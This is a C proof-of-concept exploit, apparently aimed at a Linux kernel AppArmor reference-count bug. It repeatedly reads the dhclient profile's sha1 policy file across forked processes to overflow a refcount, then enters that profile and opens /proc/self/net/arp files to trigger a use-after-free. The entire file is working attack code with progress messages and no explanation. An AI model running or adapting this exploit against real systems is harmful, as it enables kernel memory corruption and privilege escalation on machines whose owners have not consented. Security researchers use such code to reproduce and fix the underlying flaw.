#include <unistd.h>
|
#include <fcntl.h>
|
|
#include <keyutils.h>
|
|
#include <err.h>
|
#include <stdint.h>
|
#include <stdlib.h>
|
#include <stdio.h>
|
|
#include <sys/apparmor.h>
|
|
#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
|
#define HASH_PATH BASE_PATH "/sha1"
|
|
void add_references(int hash_fd, int refs_to_add) {
|
char buf[1];
|
for (int i = 0; i < refs_to_add; ++i) {
|
pread(hash_fd, buf, sizeof(buf), 0);
|
}
|
}
|
|
int main(int argc, char** argv) {
|
int hash_fd;
|
int fds[0x100];
|
pid_t pid;
|
|
hash_fd = open(HASH_PATH, O_RDONLY);
|
if (hash_fd < 0) {
|
err(-1, "failed to open HASH_PATH");
|
}
|
|
fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
|
for (int i = 0; i < 0xf; ++i) {
|
if (!fork()) {
|
add_references(hash_fd, 0x11111100);
|
exit(0);
|
}
|
}
|
|
for (int i = 0; i < 0xf; ++i) {
|
int status;
|
wait(&status);
|
}
|
fprintf(stderr, "[*] initial reference count increase finished\n");
|
|
fprintf(stderr, "[*] entering profile\n");
|
aa_change_profile("/sbin/dhclient");
|
|
pid = fork();
|
if (pid) {
|
for (int i = 0; i < 0x100; ++i) {
|
fds[i] = open("/proc/self/net/arp", O_RDONLY);
|
}
|
}
|
else {
|
add_references(hash_fd, 0x100);
|
exit(0);
|
}
|
|
fprintf(stderr, "[*] past the point of no return");
|
sleep(5);
|
|
for (int i = 0; i < 0x100; ++i) {
|
close(fds[i]);
|
}
|
}
|